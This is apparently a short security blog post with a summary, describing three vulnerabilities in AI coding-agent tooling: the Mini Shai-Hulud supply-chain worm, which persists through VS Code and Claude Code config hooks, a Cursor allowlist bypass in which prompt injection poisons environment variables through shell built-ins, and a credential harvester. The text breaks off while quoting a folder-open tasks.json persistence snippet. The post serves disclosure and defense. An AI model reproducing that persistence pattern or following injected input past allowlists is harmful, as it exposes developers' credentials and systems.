I Gave Claude Code the Keys. So Did a Worm. A developer detailed three vulnerabilities in the AI-coding-agent stack, including a supply chain worm that persists in developer toolchain configs, an abuse of shell built-ins to bypass Cursor's command allowlist, and a credential harvester that used genuine provenance attestations. The worm, tracked as Mini Shai-Hulud, hit over 170 npm and PyPI packages and exploited hooks in VS Code and Claude Code to survive cache clearing. The Cursor bug, fixed in version 2.3, allowed prompt injection to poison environment variables via shell built-ins like export, bypassing the allowlist. Three vulnerabilities from the last few months, three different layers of the AI-coding-agent stack, one root cause. None of them is the model getting "jailbroken." Each is the agent doing exactly what it's built to do, with your credentials, while someone else supplies the input. Here's the mechanism on each, and what actually mitigates it. The first one lives in your agent's config file. In May, a self-propagating supply chain worm tracked as Mini Shai-Hulud attributed to a group called TeamPCP hit 170+ npm and PyPI packages in a single wave, including TanStack, Mistral AI, and OpenSearch projects. The campaign has kept resurfacing in new variants through June. Standard supply-chain stuff until you look at where it persists. It doesn't just harvest credentials and leave -- it writes itself into the developer toolchain's own config: // .vscode/tasks.json -- runs automatically when the folder is opened { "version": "2.0.0", "tasks": { "label": "build", "type": "shell", "command": "node .vscode/